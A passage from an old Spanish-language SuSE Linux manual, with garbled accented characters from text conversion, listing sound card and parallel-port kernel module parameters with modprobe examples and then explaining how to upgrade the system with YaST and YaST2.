  24856.  
  24857.                                  Ejemplo:    modprobe  msnd_classic  io=0x290  irq=7  mem=0xd0000
  24858.  
  24859.  
  24860.                              o   Turtle Beach Pinnacle/Fiji
  24861.  
  24862.                                  Nombre del m≤dulo: msnd_pinnacle.o
  24863.  
  24864.  
  24865. 384
  24866.      __________________________________________________________________________________________________14.3.__Los_parßmetros_______*
  24867.  *____________________
  24868.  
  24869.  
  24870.  
  24871.     Esta  tarjeta  trabaja  con  los  siguientes  parßmetros,  adicionales  a  los  de
  24872.     Turtle Beach Classic/Monterey/Tahiti (apartado 14.3.4 en la pßgina ante-
  24873.     rior):
  24874.      __________________________________________
  24875.      ||__parßmetros_______|_____valores__|______
  24876.  
  24877.      ||  digital                |           |
  24878.      ||  cfg                    |           |
  24879.      ||  reset                  |           |
  24880.      ||  mpu_io                 |           |
  24881.      ||  mpu_irq                |           |
  24882.      ||  ide_io0                |           |
  24883.      ||  ide_io1                |           |
  24884.      ||  ide_irq                |           |
  24885.      ||__joystick_io____________|___________|__
  24886.  
  24887.     Ejemplo:    modprobe  msnd_pinnacle  cfg=0x250  io=0x290  irq=5
  24888.                      mem=0xd0000
  24889.  
  24890.  
  24891. o   OPL3
  24892.     Nombre del m≤dulo: opl3.o
  24893.      ________________________________________
  24894.      ||__parßmetros__|_____valores_____|______
  24895.  
  24896.      ||__io________________<|addr>________|__
  24897.  
  24898.     Ejemplo:    modprobe  opl3  io=0x388
  24899.  
  24900.  
  24901. o   OPL3-SA1
  24902.     Nombre del m≤dulo: opl3sa.o
  24903.      ________________________________________
  24904.      ||__parßmetros__|_____valores_____|______
  24905.  
  24906.      ||  io                <|addr>        |
  24907.      ||  irq               <|irq>         |
  24908.      ||  dma               <|dma>         |
  24909.      ||  dma2              <|dma2>        |
  24910.      ||  mpu_io            <|addr>        |
  24911.      ||__mpu_irq___________<|irq>_________|__
  24912.  
  24913.     Ejemplo:    modprobe  opl3sa  io=0x530  irq=11  dma=0  dma2=1
  24914.                      mpu_io=0x330  mpu_irq=5
  24915.  
  24916.  
  24917. o   YMF711, YMF715, YMF719, OPL3-SA2, OPL3-SA3, OPL3-SAx
  24918.     Nombre del m≤dulo: opl3sa2.o
  24919.      ________________________________________
  24920.      ||__parßmetros__|_____valores_____|______
  24921.  
  24922.      ||  io                <|addr>        |
  24923.      ||  irq               <|irq>         |
  24924.      ||  dma               <|dma>         |
  24925.      ||  dma2              <|dma2>        |
  24926.      ||  mss_io            <|addr>        |
  24927.      ||__mpu_io____________<|addr>________|__
  24928.  
  24929.                                                                                                                                    *
  24930.  * 385
  24931. 14.  Parßmetros del_kernel_________________________________________________________________________________________________________*
  24932.  *_______________________________________@
  24933.  
  24934.  
  24935.  
  24936.                                  Ejemplo:    modprobe  opl3sa2  io=0x370  irq=7  dma=0  dma2=3
  24937.                                                  mss_io=0x530  mpu_io=0x330
  24938.  
  24939.  
  24940.                              o   Pro Audio Spectrum
  24941.                                  Nombre del m≤dulo: pas2.o
  24942.                                  _______________________________________________________
  24943.                                  |__parßmetros_________________|______valores_______|____
  24944.  
  24945.                                  |  io                               |<addr>            |
  24946.                                  |  irq                              |<irq>             |
  24947.                                  |  dma                              |<dma>             |
  24948.                                  |  dma16                            |<dma16>           |
  24949.                                  |  sb_io                            |<addr>            |
  24950.                                  |  sb_irq                           |<irq>             |
  24951.                                  |  sb_dma                           |<dma>             |
  24952.                                  |  sb_dma16                         |<dma16>           |
  24953.                                  |  joystick                         |                  |
  24954.                                  |  symphony                         |                  |
  24955.                                  |  broken_bus_clock                 |                  |
  24956.                                  |___________________________________|__________________|
  24957.  
  24958.  
  24959.                              o   Personal Sound System (ECHO ESC614)
  24960.                                  Nombre del m≤dulo: pss.o
  24961.                                  _______________________________________________
  24962.                                  |__parßmetros___|_______valores____________|____
  24963.  
  24964.                                  |  pss_io              |<addr>                 |
  24965.                                  |  mss_io              |<addr>                 |
  24966.                                  |  mss_irq             |<irq>                  |
  24967.                                  |  mss_dma             |<dma>                  |
  24968.                                  |  mpu_io              |<addr>                 |
  24969.                                  |  mpu_irq             |<irq>                  |
  24970.                                  |__pss_mixer___________|1__(activar)_o_0___|___
  24971.  
  24972.  
  24973.                              o   Sound Blaster y cl≤nicos
  24974.                                  Nombre del m≤dulo: sb.o
  24975.                                  __________________________________________________________________________
  24976.                                  |__parßmetros___|_______valores________________________________________|___
  24977.  
  24978.                                  |  io                  |<addr>                                            |
  24979.                                  |  irq                 |<irq>                                             |
  24980.                                  |  dma                 |<dma>                                             |
  24981.                                  |  dma16               |<dma16>                                           |
  24982.                                  |  mpu_io              |<addr>                                            |
  24983.                                  |  mad16               |1  (activar)                                   |
  24984.                                  |  trix                |1  (activar)                                   |
  24985.                                  |  pas2                |1  (activar)                                   |
  24986.                                  |  sm_games            |1  (activar)                                   |
  24987.                                  |  acer                |1  (activar), para Acer Notebooks  |
  24988.                                  |__mwave_bug___________|1__(activar)___________________________________|__
  24989.  
  24990.                                  Ejemplo:    modprobe  sb  io=0x220  irq=5  dma=1  dma16=5  mpu_io=0x330
  24991.  
  24992.  
  24993. 386
  24994.      __________________________________________________________________________________________________14.3.__Los_parßmetros_______*
  24995.  *____________________
  24996.  
  24997.  
  24998.  
  24999. o   Aztech Sound Galaxy
  25000.     Nombre del m≤dulo: sgalaxy.o
  25001.      ________________________________________
  25002.      ||__parßmetros__|_____valores_____|______
  25003.  
  25004.      ||  io                <|addr>        |
  25005.      ||  irq               <|irq>         |
  25006.      ||  dma               <|dma>         |
  25007.      ||  dma2              <|dma2>        |
  25008.      ||__sgbase_____________|_____________|__
  25009.  
  25010.  
  25011. o   S3 Sonic Vibes
  25012.     Nombre del m≤dulo: sonicvibes.o
  25013.     Sin parßmetros.
  25014.  
  25015.  
  25016. o   Ensoniq SoundScape
  25017.     Nombre del m≤dulo: sscape.o
  25018.      ________________________________________
  25019.      ||__parßmetros__|_____valores_____|______
  25020.  
  25021.      ||  io                <|addr>        |
  25022.      ||  irq               <|irq>         |
  25023.      ||  dma               <|dma>         |
  25024.      ||  mss                |             |
  25025.      ||  mpu_io            <|addr>        |
  25026.      ||  mpu_irq           <|irq>         |
  25027.      ||__spea______________1|_____________|__
  25028.  
  25029.  
  25030. o   MediaTrix AudioTrix Pro
  25031.     Nombre del m≤dulo: trix.o
  25032.      ________________________________________
  25033.      ||__parßmetros__|_____valores_____|______
  25034.  
  25035.      ||  io                <|addr>        |
  25036.      ||  irq               <|irq>         |
  25037.      ||  dma               <|dma>         |
  25038.      ||  dma2              <|dma2>        |
  25039.      ||  sb_io             <|addr>        |
  25040.      ||  sb_irq            <|irq>         |
  25041.      ||  sb_dma            <|dma>         |
  25042.      ||  mpu_io            <|addr>        |
  25043.      ||__mpu_irq___________<|irq>_________|__
  25044.  
  25045.  
  25046. o   UART401
  25047.     Nombre del m≤dulo: uart401.o
  25048.      ________________________________________
  25049.      ||__parßmetros__|_____valores_____|______
  25050.  
  25051.      ||  io                <|addr>        |
  25052.      ||__irq_______________<|irq>_________|__
  25053.  
  25054.     Ejemplo:    modprobe  io=0x330  irq=9
  25055.  
  25056.  
  25057.                                                                                                                                    *
  25058.  * 387
  25059. 14.  Parßmetros del_kernel_________________________________________________________________________________________________________*
  25060.  *_______________________________________@
  25061.  
  25062.  
  25063.  
  25064.                              o   UART6850
  25065.                                  Nombre del m≤dulo: uart6850.o
  25066.  
  25067.                                  _______________________________________
  25068.                                  |__parßmetros__|_______valores_____|____
  25069.  
  25070.                                  |  io                 |<addr>         |
  25071.                                  |__irq________________|<irq>__________|_
  25072.  
  25073.  
  25074.                              o   Sound Blaster DSP chipsets
  25075.                                  Nombre del m≤dulo: v_midi.o
  25076.                                  Sin parßmetros.
  25077.  
  25078.  
  25079.                              o   Turtle Beach Maui, Tropez, Tropez Plus
  25080.                                  Nombre del m≤dulo: wavefront.o
  25081.                                  _______________________________________
  25082.                                  |__parßmetros__|_______valores_____|____
  25083.  
  25084.                                  |  io                 |<addr>         |
  25085.                                  |__irq________________|<irq>__________|_
  25086.  
  25087.                                  Ejemplo:    modprobe  wavefront  io=0x200  irq=9
  25088.  
  25089.                            El puerto paralelo
  25090.  
  25091.              Puerto        La  utilizaci≤n del puerto paralelo es compleja.  DespuΘs de su configuraci≤n
  25092.            paralelo        hay un sub-sistema propio a disposici≤n.
  25093.  
  25094.                              o   Puerto paralelo
  25095.                                  Nombre del m≤dulo: parport.o
  25096.                                  Ejemplo:    modprobe  parport
  25097.  
  25098.  
  25099.                              o   Puerto paralelo ~ especφfico
  25100.                                  Nombre del m≤dulo: parport_pc.o
  25101.                                  _______________________________________
  25102.                                  |__parßmetros__|_______valores_____|____
  25103.  
  25104.                                  |  io                 |<addr>         |
  25105.                                  |__irq________________|<irq>__________|_
  25106.  
  25107.                                  Para tener p. ej.  3 puertos al estilo PC con uno en la direcci≤n 0x3bc      sin
  25108.                                  IRQ, otro en la direcci≤n 0x378      con IRQ 7 y el tercero en la direcci≤n
  25109.                                  0x278     con el IRQ detectado automßticamente, se debe indicar (íen una
  25110.                                  lφnea!):
  25111.                                  Ejemplo:    modprobe  parport_pc  io=0x3bc,0x378,0x278
  25112.                                                  irq=none,7,auto
  25113.  
  25114.  
  25115.                              o   Driver de impresora
  25116.                                  Nombre del m≤dulo: lp.o
  25117.                                  _______________________________________
  25118.                                  |__parßmetros__|_______valores_____|____
  25119.  
  25120.                                  |__parport____________|<port>_________|_
  25121.  
  25122.                                  Ejemplo:    modprobe  lp  parport=0,2
  25123.  
  25124.  
  25125. 388
  25126.      __________________________________________________________________________________________________14.3.__Los_parßmetros_______*
  25127.  *____________________
  25128.  
  25129.  
  25130.  
  25131. o   Dispositivos IDE en el puerto paralelo
  25132.     Nombre del m≤dulo: paride.o
  25133.  
  25134.     íAl  usar  una  cadena  de  dispositivos  ''Paride''  en  un  puerto  paralelo,  es
  25135.     preciso cargar primero parport.o (ver apartado 14.3.4 en la pßgina an-
  25136.     terior)!
  25137.     Ejemplo:    modprobe  paride
  25138.     Si es posible, utilice el puerto paralelo en ''modo EPP'' ; para asegurarse,
  25139.     entre a la +  BIOS de la computadora y aj·stelo.
  25140.  
  25141.  
  25142. o   Driver de protocolo IDE de bajo nivel para el puerto paralelo
  25143.     Nombre del m≤dulo: <xxxx>.o
  25144.           ______________________________________________________________________________________________
  25145.           |__Protocolo__|______Dispositivo______________________________________________________________|_
  25146.  
  25147.           |__aten_____________|ATEN_EH-100____________________________________________________(HK)___|__
  25148.           |__bpck_____________|Microsolutions_backpack________________________________________(US)___|__
  25149.           |__comm_____________|DataStor_(old-type)_÷c_mmuterΣ__dapter_________________________(TW)__|___
  25150.           |__dstr_____________|DataStor_EP-2000_______________________________________________(TW)__|___
  25151.           |__epat_____________|Shuttle_EPAT___________________________________________________(UK)___|__
  25152.           |__epia_____________|Shuttle_EPIA___________________________________________________(UK)___|__
  25153.           |__fit2_____________|FIT_TD-2000____________________________________________________(US)___|__
  25154.           |__fit3_____________|FIT_TD-3000____________________________________________________(US)___|__
  25155.           |__friq_____________|Freecom_IQ_cable_______________________________________________(DE)___|__
  25156.           |__frpw_____________|Freecom_Power__________________________________________________(DE)___|__
  25157.           |__kbic_____________|KingByte_KBIC-951A_and_KBIC-971A_______________________________(TW)__|___
  25158.           |__ktti_____________|KT_Technology_PHd_adapter______________________________________(SG)___|__
  25159.           |__on20_____________|OnSpec_90c20___________________________________________________(US)___|__
  25160.           |__on26_____________|OnSpec_90c26___________________________________________________(US)___|__
  25161.  
  25162.     Ejemplo:    modprobe  epat
  25163.  
  25164.  
  25165. o   Disco duro IDE en puerto paralelo
  25166.     Nombre del m≤dulo: pd.o
  25167.      __________________________________________
  25168.      ||__parßmetros__|_____valores_______|______
  25169.  
  25170.      ||__verbose___________<|valor>_________|__
  25171.  
  25172.     Cargue primero parport       y el driver de bajo nivel (ver apartado 14.3.4).
  25173.     Ejemplo:    modprobe  pd  verbose=1
  25174.  
  25175.  
  25176. o   ATAPI CD-ROM en puerto paralelo
  25177.     Nombre del m≤dulo: pcd.o
  25178.     Cargue primero parport       y el driver de bajo nivel (ver apartado 14.3.4).
  25179.     Ejemplo:    modprobe  pcd
  25180.  
  25181.  
  25182. o   Disquetera ATAPI en puerto paralelo
  25183.     Nombre del m≤dulo: pf.o
  25184.     Cargue primero parport       y el driver de bajo nivel (ver apartado 14.3.4).
  25185.     Ejemplo:    modprobe  pf
  25186.  
  25187.  
  25188.                                                                                                                                    *
  25189.  * 389
  25190. 14.  Parßmetros del_kernel_________________________________________________________________________________________________________*
  25191.  *_______________________________________@
  25192.  
  25193.  
  25194.  
  25195.                              o   Streamer ATAPI en puerto paralelo
  25196.                                  Nombre del m≤dulo: pt.o
  25197.  
  25198.                                  Cargue primero parport       y el driver de bajo nivel (ver apartado 14.3.4 en
  25199.                                  la pßgina anterior).
  25200.  
  25201.                                  Ejemplo:    modprobe  pt
  25202.  
  25203.  
  25204.                              o   Dispositivo ATAPI genΘrico en puerto paralelo
  25205.  
  25206.                                  Nombre del m≤dulo: pg.o
  25207.  
  25208.                                  Cargue primero parport       y el driver de bajo nivel (ver apartado 14.3.4 en
  25209.                                  la pßgina anterior).
  25210.  
  25211.                                  Ejemplo:    modprobe  pg
  25212.  
  25213.  
  25214. 390
  25215.  
  25216.  
  25217.  
  25218.  
  25219.                                          Parte  VII
  25220.  
  25221.  
  25222. SuSE                    Linux:   Actualizaci≤n  y
  25223.  
  25224.  
  25225.  
  25226.                         particularidades
  25227.  
  25228.  
  25229.  
  25230.                                                                                                                                    *
  25231.  *   391
  25232.  
  25233.  
  25234.                                                                                                       Capφtulo  15
  25235.    Actualizaci≤n   del   sistema   ~   Gesti≤n
  25236.  
  25237.  
  25238.  
  25239.                                                                                              de   paquetes
  25240.  
  25241.  
  25242.  
  25243. 15.1        Actualizaci≤n de SuSE        Linux
  25244.  
  25245.  
  25246. SuSE      Linux  ofrece  la  posibilidad  de  actualizar  un  sistema  existente  sin
  25247. necesidad  de  instalar  todo  desde  cero.   Hay  que  distinguir  entre  la  actual-
  25248. izaci≤n de algunos paquetes y la del sistema completo.
  25249.  
  25250. Es un fen≤meno conocido, el hecho de que el software ''crezca'' de versi≤n en
  25251. versi≤n, por lo que se recomienda averiguar de cußnto espacio se dispone en
  25252. las particiones, usando df  , antes de la actualizaci≤n. Si se tiene la impresi≤n
  25253. de  estar  un  poco  ''justo''  con  el  espacio,  se  recomienda  tambiΘn  hacer  un
  25254. respaldo de los datos y modificar las particiones (aumentar su tama±o).  Es
  25255. difφcil  determinar  la  cantidad  de  espacio  necesario  ya  que  este  depende  en
  25256. gran  medida  de  las  particiones  actuales,  del  software  elegido  y  desde  cußl
  25257. versi≤n se va a realizar la actualizaci≤n.
  25258.        _______________________________________________________________________________________________________________________
  25259.        ||||||||  Para  obtener  informaci≤n  sobre  cambios  o  suplementos  posteriores  a  la                 |||            |
  25260.        ||||||||                                                                                                 ||             |
  25261.        ||||||||  impresi≤n  de  este  libro,  se  puede  consultar  el  fichero  README  o  bajo                ||             |
  25262.        ||||||||  DOS/Windows el fichero README.DOS ~ ambos se encuentran en el CD.                              ||             |
  25263.        ||||||||_______________________________________________________________________________________________________________||_
  25264.  
  25265.  
  25266.  
  25267. 15.1.1       Preparativos
  25268.  
  25269.  
  25270. Antes de realizar cualquier actualizaci≤n se deben copiar los ficheros de con-
  25271. figuraci≤n a un medio independiente (cinta, disquetes, unidad-ZIP, etc.); so-
  25272. bre  todo  se  trata  de  los  ficheros  contenidos  en  /etc  pero  tambiΘn  se  debe
  25273. tener en cuenta el directorio /var/lib donde estßn los ficheros de configu-
  25274. raci≤n de los ''News'' o de xdm . Ademßs se deben respaldar los datos actuales
  25275. de los usuarios en /home; son los directorios HOME.
  25276.  
  25277. Antes de comenzar con la actualizaci≤n se debe anotar el nombre de la parti-
  25278. ci≤n raφz que se obtiene con el comando:
  25279.  
  25280.       tierra:  #  df  /
  25281.  
  25282. En este caso /dev/sda3 es la partici≤n raφz que se debe anotar (ver la salida
  25283. en pantalla 15.1.1 en la pßgina siguiente), ya que es Θsta la que estß montada
  25284. bajo /.
  25285.  
  25286.  
  25287.                                                                                                                                    *
  25288.  *   393
  25289. 15.  Actualizaci≤n_del_sistema_~_Gesti≤n_de_paquetes_______________________________________________________________________________*
  25290.  *_______________________________________@
  25291.  
  25292.                            ________________________________________________________________________________________________________*
  25293.  *________||
  25294.                            |    Filesystem    1024-blocks    Used  Available  Capacity  Mounted  on                                *
  25295.  *         |
  25296.                            ||   /dev/sda3         4167999  3253471     698856         82%     /                                    *
  25297.  *         ||
  25298.                            |    /dev/sda1              7496       1311         5785         18%     /boot                          *
  25299.  *         |
  25300.                            |                                                                                                       *
  25301.  *         |
  25302.                            |_______________________________________________________________________________________________________*
  25303.  *________ |
  25304.  
  25305.                                         Mensaje en pantalla 15.1.1: Resumen de particiones con df
  25306.  
  25307.  
  25308.                            ________________________________________________________________________________________________________*
  25309.  *________||
  25310.                            |  Antes de actualizar PostgreSQL (paquete postgres), se deben volcar (in-                              *
  25311.  *        ||||
  25312.                            |                                                                                                       *
  25313.  *        |||
  25314.                            |  gl.  dump)  todos  los  bancos  de  datos  al  disco;  ver  pßgina  del  manual  de                  *
  25315.  *        |||
  25316.                            |  pg_dump        (man  pg_dump         ).  Evidentemente esto solo es necesario si se ha               *
  25317.  *        |||
  25318.                            |                                                                                                       *
  25319.  *        |||
  25320.                            |  usado PostgreSQL antes de la actualizaci≤n.                                                          *
  25321.  *        |||
  25322.                            |_______________________________________________________________________________________________________*
  25323.  *________|||_
  25324.  
  25325.                            Ahora  hace  falta  decidir  entre  una  actualizaci≤n  en  modo  texto  con  YaST
  25326.                            o  en  modo  grßfico  con  YaST2 .   Actualizando  una  versi≤n  anterior  a  SuSE
  25327.                            Linux  6.0  hay  que  usar  siempre  YaST ,  procediendo  como  se  explica  en  el
  25328.                            apartado 15.1.3. Se pueden actualizar todas las versiones 6.x con YaST2 .
  25329.  
  25330.  
  25331.                            15.1.2       Actualizaci≤n con YaST2
  25332.  
  25333.                            DespuΘs  de  los  preparativos  del  apartado  15.1.1  en  la  pßgina  anterior,  ar-
  25334.                            ranque del modo en que se explica en el capφtulo sobre la instalaci≤n 2.1 en
  25335.                            la pßgina 17íDirecto al Θxito!section.2.1.
  25336.                            ________________________________________________________________________________________________________*
  25337.  *________||
  25338.                            |  La  posibilidad  de  utilizar  YaST2   se  limita  a  la  actualizaci≤n  de  las                     *
  25339.  *        ||||
  25340.                            |  versiones  6.x  de  SuSE     Linux.   Para  actualizar  las  versiones  anteriores                   *
  25341.  *        |||
  25342.                            |                                                                                                       *
  25343.  *        |||
  25344.                            |  (p. ej. SuSE     Linux 5.3) hay que usar YaST1      ; ver el apartado 15.1.3.                        *
  25345.  *        |||
  25346.                            |_______________________________________________________________________________________________________*
  25347.  *________|||_
  25348.  
  25349.                            Una  vez  que  se  encuentre  en  el  apartado  2.1.7  en  la  pßgina  21┐Instalaci≤n
  25350.                            nueva o Actualizaci≤n?subsection.2.1.7, seleccione la opci≤n `Actualizar
  25351.                            sistema'.
  25352.  
  25353.  
  25354.                            15.1.3       Actualizaci≤n con YaST1
  25355.  
  25356.  
  25357.                            Actualizaci≤n del sistema base
  25358.  
  25359.                            Al actualizar el sistema base se cambian los componentes centrales del sis-
  25360.                            tema (p. ej.  las bibliotecas), por lo tanto esto no se puede llevar a cabo desde
  25361.                            el sistema Linux en ejecuci≤n.
  25362.  
  25363.                            Por esta raz≤n se tendrß que arrancar el entorno de actualizaci≤n ~ normal-
  25364.                            mente  con  el  disquete  de  arranque  incluido  en  el  paquete,  o  introduciendo
  25365.                            manual       en el prompt del kernel como se explica en el apartado 2.2.1 en la
  25366.                            pßgina 30La situaci≤n principalsubsection.2.2.1.
  25367.  
  25368.                            Bßsicamente hay que seguir los pasos que se exponen a continuaci≤n:
  25369.  
  25370.                             1.   Inmediatamente  despuΘs  del  arranque  del  sistema  desde  el  disquete  de
  25371.                                  arranque o desde el CD, se inicia automßticamente linuxrc .
  25372.  
  25373.                             2.   linuxrc  pide  escoger  en  la  opci≤n  `Configuraci≤n'  del  men·  princi-
  25374.                                  pal,  el idioma,  el color de la pantalla y el teclado (siempre se confirma
  25375.                                  pulsando `Ok').
  25376.  
  25377.  
  25378. 394
  25379.        _____________________________________________________________________________15.1.__Actualizaci≤n_de_SuSE______Linux________*
  25380.  *______________________
  25381.  
  25382.  
  25383.  
  25384.  3.   Con   la   opci≤n   `M≤dulos  del  Kernel  (Drivers)'   se   cargan   los
  25385.       drivers  necesarios  para  el  hardware  (el  procedimiento  se  detalla  en  la
  25386.       descripci≤n de linuxrc , en la pßgina 418Carga de m≤dulosHfootnote.70).
  25387.  
  25388.  4.   Ahora  se  puede  elegir  el  medio  fuente  de  la  instalaci≤n  pasando  por
  25389.       las   opciones   `Iniciar  la  instalaci≤n  /  Sistema'   y   `Comen-
  25390.       zar  la  instalaci≤n'  (ver  en  la  pßgina  420Iniciar  la  instalaci≤n  /
  25391.       SistemaHfootnote.70).
  25392.  
  25393.  5.   linuxrc carga el entorno de instalaci≤n proporcionado por YaST , tal como
  25394.       se ha elegido.
  25395.  
  25396.  
  25397. En el primer men· de YaST , seleccionar la opci≤n `Actualizar  sistema';
  25398. con esto YaST intenta reconocer la partici≤n raφz y ofrece ~ si las hay ~ varias
  25399. posibilidades de las cuales se debe seleccionar la partici≤n raφz, tal como se
  25400. ha anotado anteriormente (ejemplo:  /dev/sda3).  YaST  lee la /etc/fstab
  25401. ''antigua''  que  se  encuentra  sobre  esta  partici≤n,  y  monta  los  sistemas  de
  25402. ficheros anotados en ella; seleccionar ahora `Continuar'.
  25403.  
  25404. DespuΘs de volver con |E_____|scal men· principal, se selecciona `Actualizar
  25405. sistema'  (ver  apartado  3.2  en  la  pßgina  83El  men·  principal  de  YaST
  25406. section.3.2).  YaST  analiza el sistema actual y muestra el resultado de este
  25407. anßlisis.
  25408.  
  25409. A continuaci≤n se actualizan los componentes centrales del sistema y YaST
  25410. genera automßticamente respaldos de los ficheros modificados a partir de la
  25411. ·ltima instalaci≤n; ademßs, los ficheros de configuraci≤n antiguos se guardan
  25412. con  la  extensi≤n  pfad.rpmorig  o  .rpmsave  (ver  el  apartado  15.3.1  en  la
  25413. pßgina 405Instalar,  actualizar y desinstalar paquetessubsection.15.3.1).  To-
  25414. do  el  proceso  de  instalaci≤n  y  actualizaci≤n  se  protocoliza  en  el  fichero
  25415. /var/adm/inst-log/installation-*.
  25416.  
  25417.  
  25418.  
  25419. Actualizaci≤n del resto de programas
  25420.  
  25421. Una vez instalado el sistema base, se entra al modo especial de actualizaci≤n
  25422. de  YaST  que  permite  actualizar  el  resto  del  sistema  seg·n  necesidades  y/o
  25423. preferencias.
  25424.  
  25425. YaST  genera dos listas de paquetes a actualizar.  En la primera se encuen-
  25426. tran  los  paquetes  en  los  que  YaST  reconoce  automßticamente  el  sentido  y
  25427. la posibilidad de actualizaci≤n, ya que el paquete nuevo tiene un n·mero de
  25428. versi≤n mßs alto o, cuando ha cambiado un paquete con el cual tiene alguna
  25429. dependencia.  La segunda lista muestra los paquetes sobre los que no hay to-
  25430. tal seguridad de si deben ser actualizados o no, debido p. ej.  a que el paquete
  25431. antiguo no especifica un n·mero de versi≤n.
  25432.  
  25433. En estas dos listas se pueden seleccionar a gusto propio los paquetes que se
  25434. desean  actualizar.   La  actualizaci≤n  no  solo  reemplaza  los  paquetes  selec-
  25435. cionados por los de la nueva versi≤n sino que se respaldan tambiΘn todos los
  25436. ficheros que han sido modificados desde la ·ltima instalaci≤n.
  25437.  
  25438. DespuΘs de haber seleccionado los paquetes, el proceso se termina como una
  25439. instalaci≤n desde cero;  entre otras cosas, se tendrß que seleccionar tambiΘn
  25440. un kernel nuevo.
  25441.  
  25442.  
  25443.                                                                                                                                    *
  25444.  *   395
  25445. 15.  Actualizaci≤n_del_sistema_~_Gesti≤n_de_paquetes_______________________________________________________________________________*
  25446.  *_______________________________________@
  25447.  
  25448.                            ________________________________________________________________________________________________________*
  25449.  *________||
  25450.                            |  Si estß acostumbrado a iniciar Linux con loadlin , es preciso copiar el nuevo                        *
  25451.  *        ||||
  25452.                            || kernel  ~  y  si  es  el  caso  ~  el  initrd  en  el  directorio  de  loadlin  de  la               *
  25453.  *        ||||
  25454.                            |  partici≤n DOS!                                                                                       *
  25455.  *        ||||
  25456.                            |_______________________________________________________________________________________________________*
  25457.  *________|||_
  25458.  
  25459.                            Para que el sistema no entre en el modo de operaci≤n normal despuΘs de la ac-
  25460.                            tualizaci≤n (ver ''runlevel'' estßndar en el apartado 17.2 en la pßgina 432Los
  25461.                            Runlevelsection.17.2),  se  introduce  en  el  prompt  de  LILO  el  siguiente  co-
  25462.                            mando:
  25463.  
  25464.                                  NO_AUTO_SETUP=true
  25465.  
  25466.                            De este modo se inicia YaST  inmediatamente despuΘs de entrar al sistema
  25467.                            y se terminan las operaciones que comenzaron con la actualizaci≤n.  El uso
  25468.                            del parßmetro NO_AUTO_SETUP=true                  es especialmente razonable cuando se
  25469.                            presentan  problemas  durante  el  inicio  del  sistema.   Estos  pueden  aparecer
  25470.                            cuando algunas partes esenciales del sistema se cargan a travΘs de una tar-
  25471.                            jeta  SCSI  del  tipo  PCMCIA.  Para  remediarlos  y  finalizar  correctamente  la
  25472.                            configuraci≤n, se deben ejecutar los siguientes pasos:
  25473.  
  25474.                             1.   Al iniciar el sistema, indicar en el prompt:
  25475.                                       NO_AUTO_SETUP=true
  25476.  
  25477.  
  25478.                             2.   Entrar al sistema como superusuario `root' e iniciar una vez yast  --nomenu
  25479.                                  para que se lleven a cabo las configuraciones necesarias.
  25480.  
  25481.                             3.   Iniciar como `root' el script /lib/YaST/bootsetup.conf                       y esperar a
  25482.                                  que el proceso finalice.
  25483.  
  25484.  
  25485.                            El resultado final es el mismo que se obtendrφa si YaST  se hubiese ejecutado
  25486.                            automßticamente.
  25487.  
  25488.                            El  usuario  de  Linux  experimentado  podrφa  prescindir  de  entrar  al  nivel  de
  25489.                            ejecuci≤n estßndar e ir directamente al modo de usuario ·nico (ingl. Single-
  25490.                            User-Mode) (Runlevel 1), indicando single       en el prompt de LILO .
  25491.  
  25492.  
  25493.                            15.1.4       Actualizaci≤n de paquetes especφficos
  25494.  
  25495.                            Independientemente de la actualizaci≤n del sistema base, se pueden actualizar
  25496.                            paquetes especφficos en cualquier momento.
  25497.  
  25498.                            Esto se realiza en YaST (ver el apartado 3.5.3 en la pßgina 97Cambiar / Crear
  25499.                            configuraci≤nsubsection.3.5.3), entrando al sub-men· `Escoger/Instalar
  25500.                            paquetes'.  Se puede seleccionar cualquier paquete, pero si selecciona uno
  25501.                            que es esencial para el sistema, YaST   advierte sobre la necesidad de actu-
  25502.                            alizar tal paquete en el modo especial de actualizaci≤n. Hay muchos paquetes
  25503.                            que usan p. ej.  librerφas compartidas (ingl. shared libraries), que pueden es-
  25504.                            tar en uso en el momento de la actualizaci≤n y por tanto se podrφan producir
  25505.                            errores.
  25506.  
  25507.  
  25508.  
  25509.                            15.2        De versi≤n a versi≤n
  25510.  
  25511.  
  25512.                            Los siguientes apartados mencionan los detalles que se han cambiado de una
  25513.                            versi≤n de SuSE     Linux a otra, como p. ej.  el cambio de lugar de un fichero de
  25514.  
  25515.  
  25516. 396
  25517.        ___________________________________________________________________________________________15.2.__De_versi≤n_a_versi≤n______*
  25518.  *______________________
  25519.  
  25520.  
  25521.  
  25522. configuraci≤n o la diferencia de comportamiento de un programa archicono-
  25523. cido.  La lista es incompleta ya que solo se mencionan los aspectos impor-
  25524. tantes para el trabajo diario de los usuarios o del administrador de sistema.
  25525. En la descripci≤n de las diferencias y particularidades hay muchas referen-
  25526. cias al banco de datos de soporte (SDB) del paquete sdb_en, serie doc (ver
  25527. apartado 1.4.1 en la pßgina 8Banco de datos de soportesubsection.1.4.1).
  25528.  
  25529. Los  problemas  y  cambios  de  ·ltima  hora  de  cada  versi≤n  se  publican  en
  25530. nuestro  servidor  web;  vΘase  los  links  que  se  indican  mßs  abajo.   Se  puede
  25531. actualizar  determinados  paquetes  importantes  vφa  http://www.suse.de/
  25532. en/support/download/updates/.
  25533.  
  25534.  
  25535. 15.2.1       De versi≤n 4.x a 5.0
  25536.  
  25537. Problemas y particularidades:
  25538. http://sdb.suse.de/sdb/en/html/maddin_bugs5.html.
  25539.  
  25540.   o   Cambio de la gesti≤n de paquetes de TGZ a RPM (ver apartado 15.3 en la
  25541.       pßgina 405RPM ~ El gestor de paquetessection.15.3).
  25542.  
  25543.   o   Nueva Bash  (ver en la SDB los artφculos http://sdb.suse.de/sdb/
  25544.       en/html/maddin_bash2.html    y    http://sdb.suse.de/sdb/en/
  25545.       html/maddin_inputrc.html).
  25546.  
  25547.  
  25548. 15.2.2       De versi≤n 5.0 a 5.1
  25549.  
  25550. Problemas y particularidades:
  25551. http://sdb.suse.de/sdb/en/html/maddin_bugs51.html.
  25552.  
  25553.   o   LILO , primer cambio: los ''loaders'' any_b.b y any_d.b son ahora obso-
  25554.       letos (ver en la pßgina 128El contenido del fichero lilo.conf        Hfootnote.20).
  25555.  
  25556.   o   LILO ,  segundo  cambio:  si  se  presentan  problemas  con  la  controladora
  25557.       SCSI  Adaptec  2940,  no  se  debe  usar  la  opci≤n  linear       en  el  fichero
  25558.       /etc/lilo.conf (ver en la pßgina 128Otras opciones de configuraci≤n
  25559.       (Selecci≤n)subsection.4.4.2).
  25560.  
  25561.   o   Software  ''opcional'',   como  p. ej.    KDE   o  Applixware  ,   se  instala
  25562.       ahora  en  el  directorio  /opt  (ver  el  apartado  2.8  en  la  pßgina  71De-
  25563.       cidirse. . . section.2.8)
  25564.  
  25565.   o   La descripci≤n de los paquetes se ha omitido por falta de espacio en el
